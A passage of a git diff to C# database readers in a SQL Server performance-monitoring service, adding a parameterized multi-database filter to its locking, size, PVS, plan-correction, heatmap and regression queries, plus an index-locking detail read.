         while (await reader.ReadAsync(cancellationToken))
             flags.Add(reader.IsDBNull(0) ? null : reader.GetBoolean(0));
         return OptimizedLockingNote.For(flags);
     }
 
+    /// <summary>The server's latest-capture locking rows over every database, most contended first, at most
+    /// <paramref name="top"/>: <see cref="GetIndexLockingAsync(NpgsqlDataSource,int,int,DatabaseFilter,CancellationToken)"/>
+    /// with <see cref="DatabaseFilter.All"/>.</summary>
+    public static Task<List<IndexLockingRow>> GetIndexLockingAsync(
+        NpgsqlDataSource postgres, int serverId, int top, CancellationToken cancellationToken = default) =>
+        GetIndexLockingAsync(postgres, serverId, top, DatabaseFilter.All, cancellationToken);
+
+    /// <summary>
+    /// #5245: the server's latest-capture locking rows, most contended first, at most <paramref name="top"/>.
+    /// <paramref name="databases"/> is <see cref="DatabaseFilter.All"/> for every database; otherwise only the CHOSEN
+    /// databases' rows are ranked and capped, so the page is the top N of those databases. The snapshot anchor stays
+    /// the server's newest capture (a filter picks rows, it never picks a different capture), so a filtered and an
+    /// unfiltered call read the same instant. The names bind as one text[] and are never spliced into the statement.
+    /// </summary>
     public static async Task<List<IndexLockingRow>> GetIndexLockingAsync(
-        NpgsqlDataSource postgres, int serverId, int top, CancellationToken cancellationToken = default)
+        NpgsqlDataSource postgres, int serverId, int top, DatabaseFilter databases, CancellationToken cancellationToken = default)
     {
         var rows = new List<IndexLockingRow>();
         await using var command = postgres.CreateCommand(IndexLockingSql);
         command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
         DarlingMcpReadParameters.AddInt(command, serverId);
+        command.Parameters.Add(databases.Parameter());
         DarlingMcpReadParameters.AddInt(command, top);
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
         while (await reader.ReadAsync(cancellationToken))
@@ -520,6 +603,66 @@ public static async Task<List<IndexLockingRow>> GetIndexLockingAsync(
         return rows;
     }
 
+    /// <summary>
+    /// #5311: ONE index's four detail counters at the server's latest capture, for the web Locking page's detail pane
+    /// (the desktop's <c>ShowLockingDetail</c>). The index is named exactly by database ($2, the database filter's one
+    /// <c>text[]</c> parameter as the list read binds it), schema ($3), table ($4) and index name ($5; NULL names a heap,
+    /// which is why it compares with <c>IS NOT DISTINCT FROM</c>). Every name is a bound parameter, never part of the
+    /// statement text. The snapshot anchor is the list read's: the server's newest capture, so a detail row is the same
+    /// instant the list row it came from showed.
+    /// </summary>
+    public const string IndexLockingDetailSql = """
+        SELECT
+            ios.collection_time,
+            ios.database_name,
+            ios.schema_name,
+            ios.table_name,
+            ios.index_name,
+            COALESCE(ios.row_lock_count, 0) AS row_lock_count,
+            COALESCE(ios.page_lock_count, 0) AS page_lock_count,
+            COALESCE(ios.page_latch_wait_count, 0) AS page_latch_wait_count,
+            COALESCE(ios.page_io_latch_wait_count, 0) AS page_io_latch_wait_count
+        FROM v_index_object_stats ios
+        WHERE ios.server_id = $1
+        AND   ios.collection_time = (SELECT MAX(collection_time) FROM v_index_object_stats WHERE server_id = $1)
+        AND   ($2::text[] IS NULL OR ios.database_name = ANY($2))
+        AND   ios.schema_name = $3
+        AND   ios.table_name = $4
+        AND   ios.index_name IS NOT DISTINCT FROM $5
+        LIMIT 1
+        """;
+
+    /// <summary>
+    /// #5311: the one index <see cref="IndexLockingDetailSql"/> names, or null when the latest capture holds no such
+    /// index. <paramref name="database"/> must name a database (a blank name would be the "every database" filter, and
+    /// a selector never widens): the caller refuses a blank one.
+    /// </summary>
+    public static async Task<IndexLockingDetailRow?> GetIndexLockingDetailAsync(
+        NpgsqlDataSource postgres, int serverId, DatabaseFilter database, string schema, string table, string? index,
+        CancellationToken cancellationToken = default)
+    {
+        if (database.IsAll) throw new ArgumentException("A detail read names one database.", nameof(database));
+        await using var command = postgres.CreateCommand(IndexLockingDetailSql);
+        command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
+        DarlingMcpReadParameters.AddInt(command, serverId);
+        command.Parameters.Add(database.Parameter());
+        DarlingMcpReadParameters.AddText(command, schema);
+        DarlingMcpReadParameters.AddText(command, table);
+        DarlingMcpReadParameters.AddNullableText(command, index);
+        await using var reader = await command.ExecuteReaderAsync(cancellationToken);
+        if (!await reader.ReadAsync(cancellationToken)) return null;
+        return new IndexLockingDetailRow(
+            reader.GetDateTime(0),
+            reader.IsDBNull(1) ? "" : reader.GetString(1),
+            reader.IsDBNull(2) ? "" : reader.GetString(2),
+            reader.IsDBNull(3) ? "" : reader.GetString(3),
+            reader.IsDBNull(4) ? null : reader.GetString(4),
+            reader.IsDBNull(5) ? 0 : reader.GetInt64(5),
+            reader.IsDBNull(6) ? 0 : reader.GetInt64(6),
+            reader.IsDBNull(7) ? 0 : reader.GetInt64(7),
+            reader.IsDBNull(8) ? 0 : reader.GetInt64(8));
+    }
+
     /* ─────────────────────────── database sizes ─────────────────────────── */
 
     /// <summary>
@@ -534,6 +677,8 @@ public static async Task<List<IndexLockingRow>> GetIndexLockingAsync(
     /// of planning against 2.6 ms of execution in the field, over 71 chunks. <see cref="GetLatestSnapshotTimeAsync"/>
     /// resolves the snapshot as its own round trip first, so this statement only ever binds a literal
     /// <c>collection_time</c> the planner can exclude every other chunk against at plan time.</para>
+    /// <para>#5244: $3 is the database filter (a text[], NULL = every database; the shape of <see cref="DatabaseFilter.Clause"/>).
+    /// The snapshot $2 stays the server's newest, so a filtered and an unfiltered call read the same capture.</para>
     /// </summary>
     public const string DatabaseSizeLatestSql = """
         SELECT
@@ -552,6 +697,7 @@ public static async Task<List<IndexLockingRow>> GetIndexLockingAsync(
         FROM v_database_size_stats
         WHERE server_id = $1
         AND   collection_time = $2
+        AND   ($3::text[] IS NULL OR database_name = ANY($3))
         ORDER BY database_name, file_type_desc, file_name
         """;
 
@@ -575,8 +721,14 @@ FROM v_database_size_stats
         WHERE server_id = $1
         """;
 
+    public static Task<List<DatabaseSizeRow>> GetLatestDatabaseSizesAsync(
+        NpgsqlDataSource postgres, int serverId, CancellationToken cancellationToken = default) =>
+        GetLatestDatabaseSizesAsync(postgres, serverId, DatabaseFilter.All, cancellationToken);
+
+    /// <summary>#5244: <see cref="GetLatestDatabaseSizesAsync(NpgsqlDataSource,int,CancellationToken)"/> over a SET of databases
+    /// (<see cref="DatabaseFilter.All"/> = every database): the files of the chosen databases at the server's newest snapshot.</summary>
     public static async Task<List<DatabaseSizeRow>> GetLatestDatabaseSizesAsync(
-        NpgsqlDataSource postgres, int serverId, CancellationToken cancellationToken = default)
+        NpgsqlDataSource postgres, int serverId, DatabaseFilter databases, CancellationToken cancellationToken = default)
     {
         var rows = new List<DatabaseSizeRow>();
         var snapshotTime = await GetLatestSnapshotTimeAsync(postgres, serverId, cancellationToken);
@@ -589,6 +741,7 @@ public static async Task<List<DatabaseSizeRow>> GetLatestDatabaseSizesAsync(
         command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
         DarlingMcpReadParameters.AddInt(command, serverId);
         DarlingMcpReadParameters.AddTimestamp(command, snapshotTime.Value);
+        command.Parameters.Add(databases.Parameter());
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
         while (await reader.ReadAsync(cancellationToken))
         {
@@ -624,7 +777,7 @@ public static async Task<List<DatabaseSizeRow>> GetLatestDatabaseSizesAsync(
     /// database-size history at all. <b>Neither probe bounds above by "now"</b> — this is a latest read, and
     /// the collector host's clock is not this reader's clock; a snapshot stamped a few minutes into this
     /// reader's future is still the latest snapshot that exists (#4245 follow-up).</summary>
-    private static async Task<DateTime?> GetLatestSnapshotTimeAsync(NpgsqlDataSource postgres, int serverId, CancellationToken cancellationToken)
+    internal static async Task<DateTime?> GetLatestSnapshotTimeAsync(NpgsqlDataSource postgres, int serverId, CancellationToken cancellationToken)
     {
         var windowStart = DateTime.SpecifyKind(DateTime.UtcNow.AddDays(-2), DateTimeKind.Unspecified);
 
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingOversizedPlanBacklogReader.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingOversizedPlanBacklogReader.cs
index e20486283c..78d4d95b86 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingOversizedPlanBacklogReader.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingOversizedPlanBacklogReader.cs
@@ -189,8 +189,8 @@ ORDER BY
     /// server and the two handles are long hex strings — a fleet listing would be mostly identifiers for
     /// servers the caller did not ask about.</para>
     ///
-    /// <para><b>Largest first, which is deliberately NOT the claim's order.</b> The claim takes oldest
-    /// attempt first so nothing starves, and only breaks ties by size; ordering this listing the same way
+    /// <para><b>Largest first, which is deliberately NOT the claim's order.</b> The claim takes tried rows
+    /// oldest attempt first, at most half its slots, and the never-tried rows by size; ordering this listing the same way
     /// would make it look like a prediction of the sweep's next three picks while omitting the rows it
     /// will skip. Size descending answers the question a reader actually has — which plans the cap cost
     /// the most visibility on — and the key columns in the tiebreak keep the page stable.</para>
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingPlanCorrectionReader.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingPlanCorrectionReader.cs
index 373002ece6..1b944a9e47 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingPlanCorrectionReader.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingPlanCorrectionReader.cs
@@ -11,6 +11,7 @@
 using System.Threading;
 using System.Threading.Tasks;
 using Npgsql;
+using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Service.Mcp;
 
@@ -44,7 +45,8 @@ internal static class DarlingPlanCorrectionReader
     /// The engine's automatic plan correction recommendations for one server over the window, newest first.
     /// <c>recommendation_name IS NOT NULL</c> drops the enablement-only rows. The four lifecycle times are
     /// projected as stored, because the DMV reports them in UTC (see the class remarks). $1 server_id,
-    /// $2 window start, $3 window end (naive UTC), $4 row cap.
+    /// $2 window start, $3 window end (naive UTC), $4 row cap, $5 the chosen databases (#5244: one text[], NULL for every
+    /// database).
     ///
     /// <para>The cap is a PARAMETER, not a literal (#3541 A3). It was <c>LIMIT 200</c> mirroring the Viewer's
     /// grid, with the tool taking <c>limit</c> of those on top — and this table is the one where a fixed row
@@ -84,13 +86,16 @@ FROM plan_correction
 AND   collection_time >= $2
 AND   collection_time <= $3
 AND   recommendation_name IS NOT NULL
+AND   ($5::text[] IS NULL OR database_name = ANY($5))
 ORDER BY collection_time DESC, score DESC
 LIMIT $4";
 
     /// <summary>
     /// The latest FORCE_LAST_GOOD_PLAN enablement snapshot per database. The enablement columns repeat on
     /// every one of a database's recommendation rows, so this takes the newest capture for the server and
-    /// DISTINCTs it back to one row per database. $1 server_id.
+    /// DISTINCTs it back to one row per database. $1 server_id, $2 the chosen databases (#5244: one text[], NULL for every
+    /// database). The predicate filters ROWS of the snapshot: the newest-capture anchor stays the server's whole newest
+    /// capture, so a filtered and an unfiltered call show the same capture.
     /// </summary>
     public const string AutomaticTuningSql = @"
 SELECT DISTINCT
@@ -102,6 +107,7 @@ SELECT DISTINCT
 FROM plan_correction
 WHERE server_id = $1
 AND   collection_time = (SELECT MAX(collection_time) FROM plan_correction WHERE server_id = $1)
+AND   ($2::text[] IS NULL OR database_name = ANY($2))
 ORDER BY database_name";
 
     /// <summary>One recommendation row the engine produced (or acted on) in the window.</summary>
@@ -140,9 +146,10 @@ public sealed record AutomaticTuningRow(
         DateTime CollectionTime);
 
     /// <summary>The newest <paramref name="cap"/> recommendation rows over the window. Callers detecting
-    /// truncation pass <c>limit + 1</c> and read the extra row as the signal.</summary>
+    /// truncation pass <c>limit + 1</c> and read the extra row as the signal. <paramref name="databases"/> (#5244) narrows
+    /// to the chosen databases before the cap (<see cref="DatabaseFilter.All"/>, the default: every database).</summary>
     public static async Task<List<PlanCorrectionRow>> GetPlanCorrectionsAsync(
-        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, int cap, CancellationToken cancellationToken = default)
+        NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc, int cap, DatabaseFilter databases = default, CancellationToken cancellationToken = default)
     {
         var rows = new List<PlanCorrectionRow>();
         await using var command = postgres.CreateCommand(PlanCorrectionsSql);
@@ -151,6 +158,7 @@ public static async Task<List<PlanCorrectionRow>> GetPlanCorrectionsAsync(
         command.Parameters.AddWithValue(DateTime.SpecifyKind(startUtc, DateTimeKind.Unspecified));
         command.Parameters.AddWithValue(DateTime.SpecifyKind(endUtc, DateTimeKind.Unspecified));
         command.Parameters.AddWithValue(cap);
+        command.Parameters.Add(databases.Parameter());
 
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
         while (await reader.ReadAsync(cancellationToken))
@@ -185,13 +193,17 @@ public static async Task<List<PlanCorrectionRow>> GetPlanCorrectionsAsync(
         return rows;
     }
 
+    /// <summary>The newest enablement snapshot, one row per database; <paramref name="databases"/> (#5244) keeps only the
+    /// chosen databases' rows and never moves the snapshot anchor (<see cref="DatabaseFilter.All"/>, the default: every
+    /// database).</summary>
     public static async Task<List<AutomaticTuningRow>> GetLatestAutomaticTuningAsync(
-        NpgsqlDataSource postgres, int serverId, CancellationToken cancellationToken = default)
+        NpgsqlDataSource postgres, int serverId, DatabaseFilter databases = default, CancellationToken cancellationToken = default)
     {
         var rows = new List<AutomaticTuningRow>();
         await using var command = postgres.CreateCommand(AutomaticTuningSql);
         command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
         command.Parameters.AddWithValue(serverId);
+        command.Parameters.Add(databases.Parameter());
 
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
         while (await reader.ReadAsync(cancellationToken))
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingPvsReader.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingPvsReader.cs
index 8b68ef4797..0b0f0a312d 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingPvsReader.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingPvsReader.cs
@@ -13,6 +13,7 @@
 using System.Threading.Tasks;
 using Npgsql;
 using PerformanceMonitor.Analysis.Baselines;
+using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Service.Mcp;
 
@@ -47,7 +48,8 @@ internal static class DarlingPvsReader
     /// <summary>Latest PVS snapshot, one row per database, biggest version store first, with the four cleaner
     /// times as stored (the server's local clock; <see cref="MapPvsStatsRow"/> converts them to naive UTC). The
     /// snapshot self-subquery and the ordering both stay off the cleaner columns, so neither depends on the
-    /// clock. $1 server_id.</summary>
+    /// clock. $1 server_id, $2 database filter (#5244: a text[], NULL = every database; the shape of
+    /// <see cref="DatabaseFilter.Clause"/>), applied AFTER the newest-collection anchor, which stays the server's.</summary>
     public const string PvsStatsLatestSql = @"
 SELECT
     database_name,
@@ -62,7 +64,10 @@ internal static class DarlingPvsReader
     aborted_version_cleaner_end_time,
     offrow_version_cleaner_start_time,
     offrow_version_cleaner_end_time,
-    collection_time
+    collection_time,
+    pvs_off_row_page_skipped_low_water_mark,
+    pvs_off_row_page_skipped_min_useful_xts,
+    pvs_off_row_page_skipped_oldest_aborted_xdesid
 FROM v_pvs_stats
 WHERE server_id = $1
 AND   collection_time = (
@@ -70,10 +75,12 @@ SELECT MAX(collection_time)
     FROM v_pvs_stats
     WHERE server_id = $1
 )
+AND   ($2::text[] IS NULL OR database_name = ANY($2))
 ORDER BY persistent_version_store_size_mb DESC NULLS LAST, database_name";
 
     /// <summary>The #2018 trend window for the TOP-5 databases by newest PVS size, per-point
-    /// percent-of-database. $1 server_id, $2 window start (naive UTC).</summary>
+    /// percent-of-database. $1 server_id, $2 window start (naive UTC), $3 database filter (#5244: a text[], NULL = every
+    /// database): the top five are the top five of the CHOSEN databases.</summary>
     public const string PvsTrendSql = @"
 WITH top_dbs AS (
     SELECT database_name
@@ -84,6 +91,7 @@ SELECT MAX(collection_time)
         FROM v_pvs_stats
         WHERE server_id = $1
     )
+    AND   ($3::text[] IS NULL OR database_name = ANY($3))
     ORDER BY persistent_version_store_size_mb DESC NULLS LAST, database_name
     LIMIT 5
 )
@@ -114,7 +122,10 @@ public sealed record PvsStatsRow(
         DateTime? AbortedCleanerEndTimeUtc,
         DateTime? OffrowCleanerStartTimeUtc,
         DateTime? OffrowCleanerEndTimeUtc,
-        DateTime CollectionTime);
+        DateTime CollectionTime,
+        long? SkippedLowWaterMark,
+        long? SkippedMinUsefulXts,
+        long? SkippedOldestAborted);
 
     /// <summary>One trend point (per database, per collection). <see cref="PvsSizeMb"/> is null for an
     /// UNMEASURED collection (#3653) — the DMV reported no size that pass — never coerced to 0. The first
@@ -129,14 +140,21 @@ public sealed record PvsTrendPoint(
         double? PvsSizeMb,
         double? PctOfDatabase);
 
+    public static Task<List<PvsStatsRow>> GetPvsStatsLatestAsync(
+        NpgsqlDataSource postgres, int serverId, CancellationToken cancellationToken = default) =>
+        GetPvsStatsLatestAsync(postgres, serverId, DatabaseFilter.All, cancellationToken);
+
+    /// <summary>#5244: <see cref="GetPvsStatsLatestAsync(NpgsqlDataSource,int,CancellationToken)"/> over a SET of databases
+    /// (<see cref="DatabaseFilter.All"/> = every database): the chosen databases' rows at the server's newest snapshot.</summary>
     public static async Task<List<PvsStatsRow>> GetPvsStatsLatestAsync(
-        NpgsqlDataSource postgres, int serverId, CancellationToken cancellationToken = default)
+        NpgsqlDataSource postgres, int serverId, DatabaseFilter databases, CancellationToken cancellationToken = default)
     {
         var rows = new List<PvsStatsRow>();
         var clock = await DarlingServerClockReader.ReadAsync(postgres, serverId, cancellationToken);
         await using var command = postgres.CreateCommand(PvsStatsLatestSql);
         command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
         command.Parameters.AddWithValue(serverId);
+        command.Parameters.Add(databases.Parameter());
 
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
         while (await reader.ReadAsync(cancellationToken))
@@ -147,7 +165,7 @@ public static async Task<List<PvsStatsRow>> GetPvsStatsLatestAsync(
         return rows;
     }
 
-    /// <summary>Maps one row of <see cref="PvsStatsLatestSql"/> (13 columns, in the SELECT's order).</summary>
+    /// <summary>Maps one row of <see cref="PvsStatsLatestSql"/> (16 columns, in the SELECT's order).</summary>
     internal static PvsStatsRow MapPvsStatsRow(DbDataReader reader, ServerClock clock) =>
         new(
             reader.IsDBNull(0) ? "" : reader.GetString(0),
@@ -162,16 +180,26 @@ internal static PvsStatsRow MapPvsStatsRow(DbDataReader reader, ServerClock cloc
             DarlingServerClockReader.ToUtc(clock, reader, 9),
             DarlingServerClockReader.ToUtc(clock, reader, 10),
             DarlingServerClockReader.ToUtc(clock, reader, 11),
-            reader.GetDateTime(12));
+            reader.GetDateTime(12),
+            reader.IsDBNull(13) ? null : reader.GetInt64(13),
+            reader.IsDBNull(14) ? null : reader.GetInt64(14),
+            reader.IsDBNull(15) ? null : reader.GetInt64(15));
+
+    public static Task<List<PvsTrendPoint>> GetPvsTrendAsync(
+        NpgsqlDataSource postgres, int serverId, DateTime sinceUtc, CancellationToken cancellationToken = default) =>
+        GetPvsTrendAsync(postgres, serverId, sinceUtc, DatabaseFilter.All, cancellationToken);
 
+    /// <summary>#5244: <see cref="GetPvsTrendAsync(NpgsqlDataSource,int,DateTime,CancellationToken)"/> over a SET of databases:
+    /// the top five databases by newest PVS size AMONG THE CHOSEN ones (the cap applies after the filter).</summary>
     public static async Task<List<PvsTrendPoint>> GetPvsTrendAsync(
-        NpgsqlDataSource postgres, int serverId, DateTime sinceUtc, CancellationToken cancellationToken = default)
+        NpgsqlDataSource postgres, int serverId, DateTime sinceUtc, DatabaseFilter databases, CancellationToken cancellationToken = default)
     {
         var rows = new List<PvsTrendPoint>();
         await using var command = postgres.CreateCommand(PvsTrendSql);
         command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
         command.Parameters.AddWithValue(serverId);
         command.Parameters.AddWithValue(DateTime.SpecifyKind(sinceUtc, DateTimeKind.Unspecified));
+        command.Parameters.Add(databases.Parameter());
 
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
         while (await reader.ReadAsync(cancellationToken))
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingQueryHeatmapReader.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingQueryHeatmapReader.cs
index c4d9b59f0b..9dab19eb78 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingQueryHeatmapReader.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingQueryHeatmapReader.cs
@@ -11,7 +11,8 @@
 using System.Threading;
 using System.Threading.Tasks;
 using Npgsql;
-using NpgsqlTypes;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Service.Mcp;
 
@@ -33,8 +34,8 @@ public enum HeatmapMetric
 /// heatmap. Copied VERBATIM apart from the things a desktop chart does not need and an MCP read does:
 /// the bin width is a bound parameter instead of the literal <c>INTERVAL '5 minutes'</c> (defaulting to
 /// that same 5), the tail carries <c>ORDER BY time_bin DESC</c> + <c>LIMIT</c> so a capped call keeps
-/// the most RECENT bins rather than the oldest ones, and the <c>LEFT(query_text, 120)</c> preview width is
-/// itself a bound parameter rather than a literal 120 (#4198: at 500 cells the FIXED per-cell fields alone —
+/// the most RECENT bins rather than the oldest ones, and the preview width is
+/// a caller-side cut rather than a literal 120 (#4198: at 500 cells the FIXED per-cell fields alone —
 /// before one byte of query text — already ran well past the shared response budget, so the cell cap had to
 /// fall regardless of the text width chosen). Every other clause — the magnitude CASE, the
 /// <c>delta_execution_count &gt; 0</c> and <c>metric IS NOT NULL</c> filters, the top-1 window that replaced
@@ -65,8 +66,8 @@ public enum HeatmapMetric
 /// payload-resolving view), so no row pays for the <c>query_text_dim</c> join or a truncation it will
 /// never be shown - the raw inline <c>query_text</c> (pre-#1767 rows only) and the digest ride the
 /// window sorts in its place. The outer rn = 1 filter runs before the SELECT list, so
-/// <c>LEFT(COALESCE(query_text, (SELECT ... FROM query_text_dim ...)), $7)</c> - the same resolution
-/// <c>v_query_stats</c> would have performed, at the same #4198 bound width - executes only for the
+/// <c>COALESCE(query_text, (SELECT ... FROM query_text_dim ...))</c> - the same resolution
+/// <c>v_query_stats</c> would have performed - executes only for the
 /// one row per cell the caller sees.</para>
 ///
 /// <para>The SQL is built by a public method so the tests can pin the dialect and the shape without a live
@@ -173,10 +174,10 @@ public static bool TryParseMetric(string? metric, out HeatmapMetric parsed)
 
     /// <summary>
     /// The viewer's heatmap read for one metric. $1 server_id, $2 window start, $3 window end, $4 database
-    /// filter (text[] or NULL), $5 bin width in minutes, $6 cell cap, $7 preview width in characters
-    /// (#4198's <c>GetQueryHeatmapAsync</c> binds this to one more than the caller's preview length, the
-    /// same over-fetch-by-one idiom the cell cap already uses, so the extra character IS the truncation
-    /// signal instead of a second round trip or a computed <c>LENGTH(query_text)</c> column).
+    /// filter (text[] or NULL), $5 bin width in minutes, $6 cell cap. The top statement comes back
+    /// WHOLE (#5320): the statement filter must judge the whole text before the preview is cut, so no cut can
+    /// end inside a value whose naming text lies past it. The truncation signal (#4198) is the judged text
+    /// running past the caller's preview length.
     /// <para>Ordered newest bin first ONLY so the cap keeps the recent end of the window; the tool re-sorts
     /// chronologically before returning. The viewer needs no cap and orders ascending.</para>
     /// </summary>
@@ -234,7 +235,7 @@ FROM binned
                 bucket_index,
                 query_count,
                 query_hash AS top_query_hash,
-                LEFT(COALESCE(query_text, (SELECT d.query_text FROM query_text_dim d WHERE d.digest = ranked.query_text_digest)), $7) AS top_query_text
+                COALESCE(query_text, (SELECT d.query_text FROM query_text_dim d WHERE d.digest = ranked.query_text_digest)) AS top_query_text
             FROM ranked
             WHERE rn = 1
             ORDER BY time_bin DESC, bucket_index
@@ -271,38 +272,34 @@ FROM query_stats
             ) AS has_in_window
         """;
 
-    /// <summary>Runs <see cref="BuildQueryHeatmapSql"/>. Rows come back newest bin first. Fetches
-    /// <paramref name="previewLength"/> + 1 characters of query text so the extra character — present only
-    /// when the stored statement ran past the preview — is the truncation signal (#4198); trimmed back to
-    /// <paramref name="previewLength"/> before it reaches <see cref="HeatmapCellRow.TopQueryText"/>.</summary>
+    /// <summary>Runs <see cref="BuildQueryHeatmapSql"/>. Rows come back newest bin first. Judges
+    /// each cell's whole query text (#5320), then cuts it to <paramref name="previewLength"/> before it reaches
+    /// <see cref="HeatmapCellRow.TopQueryText"/>; the truncation signal (#4198) is the judged text running past it.</summary>
     public static async Task<List<HeatmapCellRow>> GetQueryHeatmapAsync(
         NpgsqlDataSource postgres, int serverId, HeatmapMetric metric, DateTime startUtc, DateTime endUtc,
-        string? databaseName, int bucketMinutes, int limit, int previewLength, CancellationToken cancellationToken = default)
+        DatabaseFilter databases, int bucketMinutes, int limit, int previewLength, CancellationToken cancellationToken = default)
     {
         var rows = new List<HeatmapCellRow>();
         await using var command = postgres.CreateCommand(BuildQueryHeatmapSql(metric));
         command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
         DarlingMcpReadParameters.AddWindow(command, serverId, startUtc, endUtc);
-        command.Parameters.Add(new NpgsqlParameter
-        {
-            NpgsqlDbType = NpgsqlDbType.Array | NpgsqlDbType.Text,
-            Value = string.IsNullOrWhiteSpace(databaseName) ? DBNull.Value : new[] { databaseName },
-        });
+        command.Parameters.Add(databases.Parameter());
         command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = bucketMinutes });
         command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = limit });
-        command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = previewLength + 1 });
 
         await using var reader = await command.ExecuteReaderAsync(cancellationToken);
         while (await reader.ReadAsync(cancellationToken))
         {
-            var fetchedText = reader.IsDBNull(4) ? "" : reader.GetString(4);
+            /* #5320: the top statement comes back WHOLE and the statement filter judges it before the preview is cut, so
+               no cut ends inside a value whose naming text lies past it. A named statement is the placeholder (no cut). */
+            var fetchedText = SensitiveStatements.Text(reader.IsDBNull(4) ? "" : reader.GetString(4)) ?? "";
             var truncated = fetchedText.Length > previewLength;
             rows.Add(new HeatmapCellRow(
                 reader.GetDateTime(0),
                 reader.IsDBNull(1) ? 0 : Convert.ToInt32(reader.GetValue(1)),
                 reader.IsDBNull(2) ? 0 : Convert.ToInt64(reader.GetValue(2)),
                 reader.IsDBNull(3) ? "" : reader.GetString(3),
-                truncated ? fetchedText[..previewLength] : fetchedText,
+                truncated ? fetchedText[..McpHelpers.TextElementCutLength(fetchedText, previewLength)] : fetchedText,
                 truncated));
         }
 
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingQueryStoreRegressionReader.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingQueryStoreRegressionReader.cs
index cc5709c3fe..1bab63e95c 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingQueryStoreRegressionReader.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingQueryStoreRegressionReader.cs
@@ -11,7 +11,7 @@
 using System.Threading;
 using System.Threading.Tasks;
 using Npgsql;
-using NpgsqlTypes;
+using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Service.Mcp;
 
@@ -217,7 +217,9 @@ ORDER BY additional_duration_ms DESC
     /// collected history sits inside the requested window can never show a regression however bad it got.
     /// Reporting that as "no regressions" is the failure this exists to prevent.</para>
     /// <para>Probes the base <c>query_store_stats</c> table, the same source the read itself uses.
-    /// $1 server_id, $2 window start, $3 window end, $4 baseline start (#4195).</para>
+    /// $1 server_id, $2 window start, $3 window end, $4 baseline start (#4195), $5 database filter (text[] or
+    /// NULL, #5015: the same match the read makes, so a caller that filtered can tell a filter that matched nothing
+    /// from one that matched and found nothing wrong).</para>
     /// </summary>
     public const string RegressionCoverageSql = """
         SELECT
@@ -227,6 +229,7 @@ FROM query_store_stats
                 WHERE server_id = $1
                 AND   collection_time >= $4
                 AND   collection_time < $2
+                AND   ($5::text[] IS NULL OR database_name = ANY($5))
             ) AS has_baseline,
             EXISTS (
                 SELECT 1
@@ -234,6 +237,7 @@ FROM query_store_stats
                 WHERE server_id = $1
                 AND   collection_time >= $2
                 AND   collection_time <= $3
+                AND   ($5::text[] IS NULL OR database_name = ANY($5))
             ) AS has_recent
         """;
 
@@ -244,17 +248,13 @@ FROM query_store_stats
     /// exclusion).</summary>
     public static async Task<List<RegressionRow>> GetQueryStoreRegressionsAsync(
         NpgsqlDataSource postgres, int serverId, DateTime startUtc, DateTime endUtc,
-        string? databaseName, int limit, DateTime baselineStartUtc, CancellationToken cancellationToken = default)
+        DatabaseFilter databases, int limit, DateTime baselineStartUtc, CancellationToken cancellationToken = default)
     {
         var rows = new List<RegressionRow>();
         await using var command = postgres.CreateCommand(QueryStoreRegressionsSql);
         command.CommandTimeout = McpCommandDeadlines.ReadSeconds;
         DarlingMcpReadParameters.AddWindow(command, serverId, startUtc, endUtc);
-        command.Parameters.Add(new NpgsqlParameter
-        {
-            NpgsqlDbType = NpgsqlDbType.Array | NpgsqlDbType.Text,
-            Value = string.IsNullOrWhiteSpace(databaseName) ? DBNull.Value : new[] { databaseName },
-        });
+        command.Parameters.Add(databases.Parameter());
         command.Parameters.Add(new NpgsqlParameter<int> { TypedValue = limit });
         command.Parameters.Add(new NpgsqlParameter<DateTime> { TypedValue = DateTime.SpecifyKind(baselineStartUtc, DateTimeKind.Unspecified) });
 
@@ -286,15 +286,18 @@ public static async Task<List<RegressionRow>> GetQueryStoreRegressionsAsync(
         return rows;
     }
 
-    /// <summary>Runs <see cref="RegressionCoverageSql"/>.</summary>
+    /// <summary>Runs <see cref="RegressionCoverageSql"/>. <paramref name="databases"/> narrows both questions to
